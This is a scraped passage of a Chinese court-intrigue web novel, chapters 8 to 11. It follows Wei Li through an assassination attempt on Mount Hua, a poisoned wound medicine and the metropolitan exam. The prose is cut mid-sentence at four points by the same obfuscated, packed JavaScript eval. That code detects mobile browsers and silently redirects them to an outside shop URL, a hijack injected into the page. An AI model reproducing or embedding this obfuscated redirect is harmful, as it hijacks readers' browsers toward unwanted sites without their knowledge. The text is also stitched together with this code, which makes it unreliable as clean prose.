;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588162|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上。 魏离的身姿如同一道闪电,在凌乱的山石和树丛之间穿梭,脚步轻盈如同花蕊间的蝴蝶,翩跹难追。若是在平地之上,汪水铎或许还会夸一声漂亮,但这是华山北峰顶!山石崎岖,稍有不慎就会露出破绽或者跌落山崖。 他的身形迅速轻盈,饶是三个人也未能伤到他分毫,他的每一次移动都伴随着树枝划破空气的尖锐声响。没有趁手的武器,魏离心中暗骂了郁恒京一句,转而加大出剑的力度,狠狠地扎入其中一人的肩膀。 树枝粗糙,一时之间竟卡在那人的琵琶骨上,魏离没办法将它抽出,只得放弃唯一的武器,因为身后的寒意几乎要凝成实质,在他转身的的那一刻躲开的那一刻,利剑当空而来。 这是三人之中强大的,苏桓不可能派三个废物来的。 魏离险险躲开那一剑。这个人的剑上透着一股寒气,他的剑法凌厉精准,每一击都直指魏离要害,魏离也不是等闲之辈,每次都能在关键时刻巧妙躲开,险之又险,令人心悸。 最难处理的其实也不是这位剑客,而是一直在掠阵的第三人,他的剑法诡谲多变,阴狠毒辣,比之第二人的直指要害,似乎更喜欢虐杀。两人配合的天衣无缝,你来我往,剑光交织,编织出了一张密不透风的剑网。 魏离在躲避的过程中难以避免地被划伤,殷红的血液很快就渗透了伤口附近的衣服,白色的外裳布满了星星点点的血迹。而擦耳崖上的人也都到达终点,几位热血上头的少爷重新沿着擦耳崖返回。 突然,魏离身形一展,腾空而起,手中不知何时拾起的新的树枝重新刺向受伤的刺客,树枝在空中划出一道璀璨的弧线,直逼刺客的手,一下就挑起他手中的刀化为己用,转头就割了他的喉咙。另外两名刺客见状,嘴角勾起一抹冷笑,更加凌厉细密的攻击劈头盖脸地向魏离砸来。 三人陷入激烈的交锋之中,整个华山北峰在剑光与剑影交织下,笼罩在一片肃杀的氛围之中,周围的树丛花草仿佛都失去了色彩,只剩下那三道道身影在不断地交织、碰撞、闪避,一阵刺耳的金属交鸣声不断震荡。 ———— 魏离没有败下阵来,但是他见到了最不想见到的人——第一个冲上来的竟然是郁恒京。 郁恒京看似来帮忙,实则是来拖后腿的,魏离现在不止要跟两名刺客交锋,还要分心保护郁恒京。 意料之中的事情还是发生了,郁恒京几乎是上赶着扑到人家的剑上,鲜血很快就洇透了衣衫。 他倒在魏离的怀中,两名刺客一见后头的世家少爷都赶上来,而郁恒京半死不活地躺在魏离怀中,落下了最后一招,直逼魏离,魏离第一时间掷出手中的剑与袭来的剑锋相击,刺客手中的剑尖居然被磕出了缺口,刺客们也不再恋战,抽身离开。 而魏离的衣衫已经被鲜血浸湿,山顶一阵兵荒马乱。 郁恒京,你等着。魏离检查了他的伤口,只是出血多了些,不会伤及性命,但自己的责罚可是一点都不会少。 8. 第 8 章 魏离还未来得及换下沾满血迹的衣衫,文帝的御驾就已经来了。 文帝虽然心情不是很愉快,但看见魏离浑身是伤,整件白衣尽是斑驳血迹也不好发作,摆了摆手让他先下去。 魏离拜谢过后从郁恒京的床前离开,随行的御医已经开始检查郁恒京的伤口。他一出门就看见眼眶发红的清阳公主和端着伤药的季昀,说来也奇怪,这季昀不在里面照顾郁恒京,也不怕郁恒京出事,反倒是紧张他的伤势。 “魏先生没事吧。”清阳公主抓住魏离的手看向季昀,“先生房间在哪?快些带路。先生也真是的,明明上山前就提醒过先生要小心了。” “我多受些伤总比七殿下多受伤的好。”魏离摇摇头,叫住准备带路的季昀,“不劳烦季姑娘了,姑娘还是照顾七殿下吧,公主殿下也请留步,不归自己可以的。” “先生……”清阳公主犹豫了一下从袖中掏出一瓶伤药,“先生用我的药吧,刺客不知道还会不会在伤药中动手脚,先生还是小心些。” “谢殿下。”魏离接过药瓶,白玉般的面上还染着被风吹干的血迹,暗红色的血液正点在眼角,好似一颗朱砂泪痣,衬得他的面色愈发苍白。 清阳目送着他一步一步穿过驿站回廊,苍白色的背脊上布满血霜,暗红色的血迹消失在拐角,她回过神来看向立在门外的季昀,“郁恒京知道会有刺客出现对吧,他是故意的。” “奴不敢妄议殿下。”季昀低着头让人看不清表情。 ———— 魏离阖上门扉的那一刻才真真正正把紧绷的肌肉放松下来,转而将药瓶随手放在书案上,他不会用她的伤药。 他一咬牙将已经粘黏在伤口上的衣物直接撕下来,刚结痂的伤口又一下子涌出血来将本就淋满鲜血的衣物的颜色加深,一朵朵殷红的梅花重新在白布上绽开。 那两个刺客的剑法精妙狠厉,每一下都是实实在在地割在他的身上。苏家最好别给他机会,否则就不是割几刀的问题了。本以为苏延对此事不知情,但送郁恒京回来之前他看到苏延攥紧的拳头时他就明白了,苏延什么都知道。这是苏延自己都没发现的小习惯,他喜欢在紧张无措惶恐和撒谎的时候攥紧拳头。如此看来,苏柳玉的死,苏延并不是一无所知。 魏离从书箱暗格中取出从玄山寺上带下来的伤药,是住持亲自配的镇痛效果很好,恢复效果……也很好,至少不会影响到不久后的会试。 苏延拿不到解元,自然也就不可能拿到会元,更不可能拿到状元。 魏离用纱布将伤口一处一处系紧,换上干净的衣袍,整理好仪容,走出门。 总共二十三处剑伤,他绝不可能白受。 他一步一步走向郁恒京所在的主屋,清阳公主已经不在了,季昀仍旧端着伤药站在走廊上,文帝的仪仗还在,看来郁恒京还在装死。 要是真死了就好了,魏离跟着季昀站在走廊上,“季姑娘为什么选择跟着七殿下?季家的儿女都在沙场上驰骋,不归看姑娘也是习武之人,为何不一同建功立业?周朝从来不拘人才,季家也从不轻视女儿家。何况季姑娘也不是苏三小姐那般柔弱的女子。” “我……”季昀放下手中的木盘,“我不想骗你,我此次跟着郁恒京来大宁是想找一个人。”她从来没有这么相信过一个只见过寥寥数面的人,这是第一次,因为魏离太像了,太像她的姑姑了。不是长相,而是那种从灵魂散发出来的气息,如果表妹还活着,那肯定是像他一样博学多才,天资聪颖,身手不凡。 对,身手不凡,华山之行其实她一直保持距离跟在众人后面,她在不远不近的距离清晰地看见魏离在山间翩飞的身姿。 “谁?我可以请太子殿下帮忙留意。”魏离盯着她的眼睛,季昀有一双非常纯良的杏眼,像林间小鹿的眼睛,湿漉漉的。 “我表妹,她还在襁褓中就被拐走了,如今应该也是十六七岁,郁恒京说表妹在大宁,他知道她在哪。找到表妹是姑姑临终的遗愿,也是我祖父的心头之痛,所以我就跟他来了,谁知他竟然是骗我的,他来了大宁只与我说了一句‘表妹已经死了’。”季昀眼中流露出星点愤恨,“我看他才快死了,我表妹怎么会死。” “平宁公主失踪了?”魏离一语惊得季昀差点跳起来捂住他的嘴。 “你怎么知道是平宁公主?” “季家上一辈只有一位女儿,先天不足体弱多病,嫁与当年的周朝太子做太子妃,也就是后来的嘉德贵妃,也是六殿下、七殿下和平宁公主的生母。这不难猜测。”房间里传来太医的呼声,魏离也没有继续往下多说,“不归会帮忙留意的,也会守住秘密的” 周朝这么多年一直营造出平宁公主仍在的假象,必然有他们的布局,他暂时还不打算插手,还不到时候。 “先生若是说出去也不打紧,周朝的手还暂时伸不到这里来。” 文帝在太医们的拥簇之下从主屋出来,正看见魏离苍白的脸色,道,“魏先生也让太医看看吧,七皇子那边就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588163|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让他的侍女去照看,虽说刺客的事情是突发,但归结到底也是先生没有提前考虑好,也没能保护好七皇子。先生身上伤势看起来也不轻,先养伤吧,过段时间是会试,如果先生还能夺得会元,那朕就不追究你的罪过,若是不能,那该罚还是得罚。” 文帝也明白这次的事情怪不得魏离,刺客的来路和目的他也清楚,但只要没有留下明确的证据,那此事就和苏家无关。 “谢陛下。”魏离行礼谢恩目送文帝离开,让太医领着去了偏厅检查伤势。 季昀等到众人彻底离开才推开主屋的门走进去,郁恒京根本就没晕,不听话的弟弟还是要给点苦头吃的。 ———— 苏延回到家中才对着苏桓讲述完整个过程才勉强松开紧握的拳头,“那三个刺客是父亲派去的还是母亲?” 苏桓揉了揉发酸的眉心,“那三个刺客是自你出生起就秘密培养的死士,我也没想到魏离身手居然如此了得,三个人还让他反杀一个,还伤到了周朝七皇子。” “现在该如何是好?”苏延眼前有些发晕,他以为当初三皇子在太子府门口说的话只是为了给魏离解围,没想到竟然是实话,魏离身手不凡。 “没能解决掉他,但目的是达成了,他一身的伤不可能参加会试。你只要好好准备会试,魏离的事情不需要你管。”苏桓摆手让他下去读书,“我当年虽说不是状元,但也是个探花郎,好好努力,父亲期待你能走的比父亲更高。” “是……”苏延正准备离开父亲的书房,转头又想到清阳公主和太子,“父亲,这次的事情,太子殿下知道吗?” “明面上是不知道。”暗地里肯定早就知道了,同样的,魏离肯定也早就知道了才会故意落后等各位公子走上擦耳崖方便刺客动手,也为了不让刺客误伤各位贵公子,但他还是没防住郁恒京。 苏桓端起早就凉透了的茶水浇在手边的文竹根部,“太子殿下不会管这些的,魏离并不是不可或缺,况且连在这点小伎俩里活下来的本事都没有,如何参与后续的党争?你要好好准备,若能超过魏离一举夺魁,太子殿下肯定更器重于你,毕竟烟儿已经是侧妃,自己人用起来总比外人顺手。” “我知道了,父亲。” “回去好好温书吧。”苏桓揉了揉酸涩的眼睛,他的仕途最高也就只能走到这了,但如果有烟儿在,苏延的前路必定比他的更长远,相应的风险也更高,他要提前准备好后路,不能让延儿无路可退。 ? 9. 第 9 章 魏离身上的伤口已经不疼了,玄山寺的药很有效。 他搬了把椅子坐在阳光照的到的走廊拐角,骨节分明的手上握着一把暗青色的剑,剑身没什么过多的装饰,是李焕派人送来的。 他将剑从剑鞘中抽出,可以鉴人的剑身反射着冷冽的光芒,如同冬日里的寒星,闪烁着锋利的寒光。 是把好剑,他盯着剑身映照出来的人影,耳边还回荡着刚刚来送剑的小厮变声期公鸭似的嗓音:“殿下听说先生没什么趁手的兵器,特地为先生向陛下求了一把利剑用以防身。” 看来苏烟罗也没想象中的那么受宠,虽然苏烟罗早就和太子暗通曲款,但特地给她一个太子侧妃的名分到底也只是拉拢人心的手段罢了,如果太子妃是苏柳玉,苏烟罗只怕连个妾都混不到。 “李焕送的?”郁恒京在季昀的搀扶下走到他身侧,身上的龙涎香气味熏人得很。 “好的倒挺快。”魏离见他走到这个拐角后季昀就松开手,将手中的剑转了个角度,让阳光晃了他的眼睛。 “送你这把剑的意思是不是代表着你可以随便对苏家下手了?”郁恒京把脸一转,轻松躲开光斑,“都是自己人,我也就实话实说了,季昀要找的表妹就是苏柳玉,你要对苏家下手也是为的苏柳玉。” “我什么时候与你是自己人了?”魏离将剑插回剑鞘,在季昀动手之前开口了,“我与苏家是我自己的恩怨,和苏柳玉无关。你若是要为苏柳玉报仇大可以找刚离开的李瀛,他倒是真心想为苏小姐报仇。” “无所谓是不是真心报仇,只要对象是苏家就行。”季昀终于找到开口的机会,“只要你能让苏家满门偿命,季家愿意满足你的所有要求。” “真要这么在乎苏柳玉,她哪里会变成苏柳玉。”魏离嗤笑一声,“死后的补偿,她能收得到吗?” 季昀一时语塞,她其实对表妹是怎么被拐到大宁变成苏家大小姐并不清楚,祖父和姑姑一直讳莫如深。 “造成苏柳玉死亡的并不只是苏家,是你们所有人,别自欺欺人了。”魏离不想跟这两个人多掰扯,一手剑一手椅子就回去了,只留下郁恒京和季昀面面相觑。 “苏柳玉真的是表妹?”季昀对此还是持怀疑态度,本想拽住郁恒京逼问个清楚,但又顾及到他身上还有个不重不轻的伤,耐着性子没动手。 “真的。”郁恒京没能达到预期目的心情很不好,但是目前季昀的心情可能更不好。 “死了?” “……”郁恒京欲言又止,“死了。” ———— 魏离随手将手中的剑搁在书案上,书案上还放着另外两样东西——金疮药和桃花酥,也是那个仆从一同送来的,那瓶金疮药跟先前清阳公主给他的是同样的瓶子,但里面的药可不怎么一样。 清阳公主的药是上好的伤药,而这一瓶比之多了一味药,里面加了丹参,虽然是一味补药,但是会导致伤口易裂开大出血,没想要他的命,只是想保证他没办法参加会试而已。 裙带关系确实比单纯的上下级关系更牢靠啊,魏离想着。 他顺手将桃花酥打开,里面还是跟上次一样的桃花酥,闻起来没丹参之类药物的味道,但他也不敢碰,想了想将油纸重新叠上、细麻绳系好,冲门口随便叫了个扈从让他给郁恒京送去,既然伤药上没有致死的药物,那桃花酥上应该也没有。 好想吃玄山寺下面的桃花酥,可惜他现在应该在房间里待着装死。 ———— 会试如期举行,各位少爷们都铆足了劲准备冲个好成绩,先前是魏先生在,大家无论写些什么都会被他杀个片甲不留,如今他很大可能不参加会试,唯一文采好的就是苏延,但那也是大家的平均水平好上一点,万一自己考场上灵光一闪,拿个会元,整个家族都有面子。 礼部尚书崔仪看着洋溢着自信和青春的少年们窃窃私语觉得自己都年轻了不少,乐呵呵地摸着胡子转身正准备回到考场,却感觉身后热闹的气氛突然冷下来,就像冬天的炭火一下被雪水浇灭了一样。 他回过头去,正看到一身黑衣的魏离从马车上下来,他身边扶着他下车的侍女应该是中秋宴上周朝七皇子身边的侍女。 衣冠楚楚,一表人才啊,崔仪看着魏离是越看越喜欢,知书识礼,上次乡试上作的文章他也很喜欢,这脸这身材这神态这气度,前途无量啊,也不知道他家里是否有婚配,自己家里有个孙女,正到婚嫁的年纪。 离魏离最近的是正抱着书努力背诵的冯远,看见魏离来了书都背不下去了,魏离来了,那这会元还有什么好争的…… 苏延顿了一下脚步,继续向前走,他努力告诉自己,魏离受了伤肯定精神不太好也没心思温书,不一定能比他好,而且会试可不止有京城的公子们,指不定有哪位突然就一鸣惊人……那也达 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588164|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不到父亲的期望…… 大家的表情都很精彩,但魏离没这个心思去观察揣摩各位的心理,今天一早,李瀛传信回来说按照他给的路线行进真的发现了东离古国的石碑。 东离古国是如今金国、大宁和周朝的前身,但并不是因为战乱分崩离析灭国的,而是因为信仰崩溃。很离奇的原因,以至于魏离在查阅古籍的时候感觉到一丝荒谬和不真实。 据说东离古国的最后一位王后生下了龙胎,是真的龙胎,一条小黑龙,被当时的国师视为不详。国师和大臣们硬逼着当时的王将龙胎分尸,并立下七块石碑分开镇压,这是王后的第一个孩子,王后无法接受投井自尽。自此民间出现了教义不同的各式邪教,不同的邪教有不同的传教方式,但最根基的一步都是一样的,动摇人们最初的信仰——女娲。 自殷商以来,许是传说影响,这片土地上的人们只信仰女娲娘娘,而如雨后春笋般的邪教出现,第一步就是随意改变人们的长相、声音和身高,无论人们是否愿意,并且完成改造之后还会取走他们身体的一部分。 当时最盛行的按照取走人们肢体来区分有五种,分别是取走人们的左手、右手、左腿、右腿还有……制成人彘。 一时之间国家人心惶惶,王和国师尝试过很多办法,派了很多军队想将邪教一网打尽,都失败了,甚至派去的人无一回来的。很快连大臣都开始失踪,再出现时已经被邪教徒改造过了。当国师变成人彘出现在王面前的时候王崩溃了,从他亲自为自己第一个孩子设计建造的高塔上坠落,王国彻底崩塌。 在王坠落之后,遍行大地的邪教一夜之间消失,只剩下被迫改头换面、身体残缺的普通百姓。在人间混沌几十年之后才终于出现了三位领袖重新使后世出现三国鼎立的局面。不过那个时候是大魏,还不是大宁。 当然,留存至此的文献并没有记载的如此详细,魏离之所以能看到这些,是因为他母亲给他留下的遗物里的手稿记载的十分详细,甚至断定当时的邪教就是黑龙的诅咒…… 魏离答应李瀛合作给苏柳玉报仇的要求就是要他帮忙顺路寻找在大宁境内的石碑收集起来,按照他的推断,在李瀛往边塞的路上一共有有三块,也是仅有的三块。 虽然故事读起来很荒谬,但如果真能找到石碑,那就证明手稿上的记录大部分都是正确的,而他……也本就不该来到这个世界上。 ? 10. 第 10 章 无论传说是不是真的,眼下最要紧的还是这场会试。 魏离让季昀先回去,原本他也没想让她跟来,但她说是怕他在路上遇到截杀,硬是要来。 怎么可能会有截杀,苏桓的脑子还没糊涂到这个地步。 “我在外面等着先生。”季昀还是不放心,认真环顾四周、重点关心了苏延的表现,恨不得跟进考场。 “季姑娘放心吧。”就算他魏离死了,也还有李瀛,李瀛死了,也还有苏烟罗会自掘坟墓,总之苏家早晚会遭报应的,只不过是报应从哪里来的区别。 魏离从各位考生让出来的小路走了进去,一袭黑衣在秋风中被扬起,显得他是身形格外消瘦挺拔。 魏离走到哪里哪里的私语声就落地,因为他根本没有认识的人可以交流,所有人看着他的眼神都像是看一位从书上走下来的人,在阶梯最上头门前站着的几位年龄尚小的皇子表现得最为突出。 稚童眼中的感情向来是最难以遮掩的,九皇子的眼中几乎化为实质的崇拜让魏离心里罕见地出现了名为尴尬的情感。 魏离向来独来独往,除了李焕、李瀛两兄弟也只和清阳公主、郁恒京等人有过交集,至今也只出现在三场宴会上过,这三场宴会九皇子都没能参加,对于他来说,魏离也算是另一种“传说中的人”。 冯远紧跟其后,也是体验了一把新秀被大家注视的感觉。 考生陆陆续续进入考场,魏离的左右正好坐的是苏延和冯远。苏延握紧手心,一点都不敢看向魏离,出了一身的虚汗。冯远觉得自己在闻到卷纸的潦草气味时就已经看见了此次考试的命运,希望坐在魏先生边上,文曲星君在给魏离送考运的时候能不小心沾点在自己身上。 考试的计时香点上,柔软的檀香气味渐渐弥漫在整个考场。 考题对于魏离来说不是很难,只是阅卷考官的喜好很难琢磨,不过因为他的存在,文帝很重视这次会试,只要功底过硬,成绩就不可能差,除非考官准备把九族压上来。 魏离闻着手中笔墨和檀香交织的香气,很快就将手中的文章完成。 不过这只是第一场罢了,一共有三场,这也是他叫季昀先回去的原因。大宁的会试和周朝不一样,周朝的考试规则是一天考一场,一共三天。而大宁是连着考完三场,甚至没有中场休息,据说是为了考察各位考生在长时间的工作上的表现。 还是武举简单。魏离写下最后一个字,轻轻将笔搁在笔架上,窗外的天已经有些沉了,今天本就是个阴天,过一会怕是会下雨。 ——-—— 季昀本来在门口的马车边上坐着,她本以为魏离午时就该出来,哪想得到如今已经快酉时了,还不见人影,到边上和几位小厮聊了会才知道,大宁的会试是连着考的。 神经兮兮的,她重新坐回车边上,做官哪有需要长时间处理公务的,处理不过来就让其他人一起分担就好了,难不成像这样饭也不吃水也不喝判出来的文书就会更好看吗?真是搞不明白。 等到天都快黑透了,礼部才放各位考生出来,原本神采奕奕的少爷们如今都面如土色,冯远连眼睛都快睁不开了,“扶我一下扶我一下,我的眼睛快看不清台阶了。”也不知道这次是哪位大人命的题,密密麻麻的小字看的人头皮发麻。 魏离正巧走在他身后,顺手扶了他一把,“冯公子小心些。” 冯远碰到他冰凉的手,乱成浆糊的脑子都清醒了不少,“魏先生才更应该小心,先生先前在华山伤的可不轻,伤势如何了?”那天魏离剑气凌厉,浑身染血,尽早看他的背影似乎清减了不少。 “宫中的御医很好,伤好了大半,谢冯公子关心。” 魏离的声音在他听来都带着一丝虚弱,先前如清泉,如今感觉泉水快干涸了,有一下没一下地滴着,好了大半,那就是还有一半没好,听说陛下让魏离拿下会元抵过,也不知魏先生这个样子能不能跟先前一样拿个好名次。 “先生还是多修养些时日吧,正好七皇子那边也病着……”冯远看着远处跑来的季昀,欲言又止,他这话说的好像很希望郁恒京病着一样。 季昀耳朵灵,当然听见了他的话,不过郁恒京病着也是他自找的,她更在意的是魏离的伤。她盯着冯远搭在魏离手上的手臂,盯得冯远浑身发麻。 等到冯远的小厮好半天才在人群中找到自家少爷,从魏离手中接过冯远的手臂时,冯远的冷汗已经落下来了。 “先生,我们也走吧?”季昀扶着魏离,看见魏离还盯着离开的冯远,有些疑惑。 “走吧。”魏离将冯远塞给他的纸条塞进袖口深处的暗袋,跟着季昀的脚步走向驿站的马车。 苏烟罗真是走了一步臭棋,当然,李焕也是个没脑子的,真是令人高兴。魏离的心情一下变好了很多。 ———— “考的不错?”郁恒京坐在院子里点着一盏绢布灯笼作画,正看见魏离和季昀一同进门,“要吃些东西吗?我就说大宁的制度不正确,哪有考试不给饭吃不给水喝的。” “不了。”魏离揉了揉太阳穴,“我有些累,季姑娘去用些饭吧,也在外面等了一天了。” 他的脑子也有些发糊,倒不是因为考试,是因为身上的伤,用玄山寺的伤药是好得快,但将近痊愈的时候总会发麻发痒,考试的时候感觉不大,现在回到驿站倒是发作的厉害。 “你不问问我打算什么时候会周朝吗?”郁恒京继续手中的动作,纸上画的是一位美人,一双桃花眼惹人流连,烟粉色的留仙裙上缀着星点海棠花,一双素手扶着藤木秋千的吊绳回头看画外的人。 “问了你就会马上走吗?”魏离连眼神都懒得给他,只留一个背影,“趁早回去吧,再不走,郁恒星什么都不会给你留下。” “不良于行,本就无法继位,夺得的东西再多又怎么样?在父皇死前是最令人忌惮的皇子,在父皇死后是最令人可怜的亲王。”郁恒京落下最后一笔,在美人的眉间落下一点朱砂,“看我画的怎么样,有苏柳玉几分神韵?” “不归没见过苏小姐,七殿下留着自己看吧。” 驿站说小不小说大不大,魏离走两步就到了自己的房间,推开红栎木做的房门,尚未关上的床前落着一只乌鸦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588165|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不知道李瀛哪里学的用乌鸦传信,要是他今日没有去参与会试,又被有心人看见乌鸦盘旋在驿站,恐怕没两天就满城传着“天妒英才,魏先生要病死了”的传闻。 乌鸦很乖巧地歪着头看他,脚上的小纸条已经被它自己挣脱下来落在窗边的地上。 魏离抓了一把小米放在窗台上,捡起纸条展开。 “石碑下确实有不知名的残缺骸骨。”字条上是李瀛遒劲有力的字迹。魏离读完后将它放在油灯上烧尽,从手边抽了一张空白字条写上约定好的记号系到埋头苦吃的乌鸦腿上,“辛苦你了。” 乌鸦很懂事,没有出声,歪头蹭了蹭他的手心,认真吃完每一粒小米后张开双翼跃上满是阴云的高空。 “魏先生的伤势如何了?”清阳公主已经是本月第七次来见魏离了,但她也是第七次被季昀挡在门外了,这个七皇子什么时候能带着这个侍女会周朝啊? “魏先生伤势并未好转,七殿下的伤势也没有好转,我在这拦着殿下并非有意不愿殿下见魏先生,实在是魏先生此时不宜被打扰,您也知道,魏先生昨日强撑着去参加会试。我要是知道大宁的会试是这样不把考生当人看我就拦着不让他去了……”季昀早就想好了说辞,她看这个公主不舒服很久了。 清阳公主是大宁皇帝最大、也是最受宠的公主,排行第四,性格极端善妒,她之后的八公主、十皇子夭折和五公主远嫁金国都有她的手笔。在遇到魏离之前她在府中豢养了三位面首,对苏延暗怀春心,魏离出现之后三位面首被悄无声息地抛尸乱葬岗。 她这样追着魏离,不说配不配得上,如果她日后变心,难保不会想对魏离下手。 季昀实在不放心她一直接近魏离,现在魏离可是她为表妹报仇的唯一路径,千万不能折在她手里。 “那……还是跟之前一样,麻烦季姑娘把这些药材糕点转交给魏先生。”清阳见季昀实在不愿意让步,只得让随从把箱子给她,悻悻离开。 季昀接过箱子向她行了个礼,进门走到院子里。 魏离正在门后不远的院子里研究池子里的锦鲤到底有几种颜色。 她把手中的箱子放在院子里的石桌上打开来检查,确定清阳公主的马车离开之后才开口,“不愧是大宁最受宠的公主,连人参雪莲都拿得出来。” “那是你们魏先生魅力无人能敌。”郁恒京跟着她一起研究箱子里的东西,一整朵的雪莲大喇喇地放在中央,也不怕被其他药材挤坏了。 “季姑娘最近出门还是小心些吧。”魏离扔了一把鱼食到池子里,红白黑相见的锦鲤一窝蜂涌上来抢食。 清阳公主哪里会轻易相信季昀的说辞,但善妒的人心思是最好猜的,无非就哪几种。 只求她不要出什么昏招自讨苦吃。魏离看见池子里有一尾极小的鲤鱼一直被同伴挤开,可怜得很,他随手拿了个石碗将它捞起来另外喂食。 拇指大小的小鲤鱼在碗中横冲直撞,魏离随意扔了几粒鱼食看它吃完就又把它放回池子里。 没抢到食的鱼儿很可怜,离群的鱼儿也很可怜。 ? 11. 第 11 章 等到会试放榜的日子,魏离身上的伤已经差不多好全了,季昀也没有理由再拦着上门报喜的清阳公主,她也没空闲拦了,光是给来报喜的人们发讨喜钱就已经忙的焦头烂额。 爬了夕颜花的秋千架边上坐着逗鱼的青色身影,魏离一如往常神色淡淡,清阳公主站在他身边一同看着池中的鱼儿,“先生中了会元不高兴吗?” “并未。”魏离又向池子里撒了一把鱼食,蜂拥而来的鲤鱼愚蠢地撞在一团,“只是在等陛下的诏令。何况这次会试的成绩本就在不归意料之中,哪里会惊喜呢?” 这是他应得的。 “对先生来说这只是普通的一次会试,对礼部来说可不是,崔大人看了你的文章对父皇赞不绝口,说不定这次你就能破格直接被崔大人点为礼部侍郎,省去许多在官场上浮沉的世间。”清阳公主将自己悄悄带出宫来的玉佩递给他,“这是可以出入宫门的玉令,如果遇到什么紧急情况可以进宫找我和皇祖母。” 也不知道苏家会不会就此罢休。她暗叹一声,仔仔细细看着身侧的魏离,少年英姿勃发,可惜遇上了拦路虎,若是晚上三年再参与科举定会顺利许多。不过她所能做的也就止于此了,无论苏家如何为难他她都不能出手相助,到底她和自家亲哥哥还是一条心的,苏家出事对他们来说不是什么好事。 “殿下将玉令收好吧。不归不会收下的。”魏离没有接过她手中的玉佩,而是将她的手推了回去,“殿下是私下将玉令带出来的吧,不归和苏延之间的事情不需要殿下为难。这天下重担终究不是落到殿下身上的,殿下也不必为此烦忧。” 微凉的触感覆在她的手上将她的手收紧,她的脸逐渐爬上红晕,倒是比今天特地戴上的海棠缠花鬓簪要红上几分。 “先生若是不愿意收下玉令,那就收下这支簪子吧。”她红着脸将鬓边的海棠摘下放到他是手心,“如果……先生愿意收下的话,等先生高中状元,我就向父皇求赐婚……” 她的声音越来越小……她出宫前就听说礼部尚书也想把孙女嫁与魏离,礼部尚书的孙女崔子怡是京中出了名的才女,并非苏烟罗那种刻意经营来的虚渺名声,是真的才女,写出过让文帝称赞的诗篇。 “谢殿下垂怜。”魏离温柔地接过她手中的簪子,“殿下放心,不归绝不会让苏公子高中状元的。” 清阳公主心中一跳,魏离应该是不知晓她和苏延过去的事情的。 她曾经也和苏延说过一样的话,不过那是在京中乡试之前了,他应该还未来到京中,只要苏延不多嘴,他是不会知道这些事情的。想来苏延那么骄傲一个人,也不会让人知道这些过往。 —————— 苏延盯着红纸黑墨写的榜单,榜首就是魏离,这是他意料之中的,他确实不如魏离的才学,但榜眼竟然是冯远,他苏延竟然排在整天装傻充楞的冯远后头。 “我也没想到能上榜……”不远处的冯远被一群人拥簇着,“应该是魏先生坐在我边上带给我的好运吧……” 他的实力自己也明白,跟天天习武的汪水铎不相上下,参加这个会试也就是天天盼着儿子成才的冯尚书拿着家法逼的,能在红榜末尾看见自己的名字都已经很惊喜了,难不成真是文曲星君给魏离保佑的时候顺带给他蹭到了一点? 不过不管他冯远靠什么当上的第二,这苏延都要憋屈个半死。不过他也确实要好好发奋努力在殿试当中拿个好名次,总不能让自家大姐在太子府低那个苏烟罗一头。 苏延拨开挤在榜前的人走出去回到马车上,顺路去给苏思妍苏思云带了些桂花米糕,只要不是会元,第二和第三没什么区别,重要的还是在后续的殿试上,谁前谁后还都由陛下来定夺。 他努力劝慰了自己许久,还是喘不过那口气,凭什么是冯远啊?他苏延日日苦读,为何输给了一个天天游手好闲的公子哥? 输给魏离他心服口服,可冯远……这一输怕是烟儿又要在东宫受些口舌。 他叹息一声,催促车夫快些,殿试在会试放榜十五天后,他得快些温书……不能再输了。烟儿本身进东宫的手段就是不光彩的,如果他这个哥哥还不能考取功名压过冯家,那就没有人能给她撑腰了。 —————— 驿站门口早在前几天已经铺满了金黄灿烂的银杏叶,经过今天来报喜的人们一践踏,满地狼藉,季昀提着干枯的柳枝扫把仔细清扫着门前的枯叶残骸,远远看见一位小沙弥朝着她的方向走来。 季昀当下就提起扫把进门头也不回,立即将门落锁。 是玄山寺的和尚。 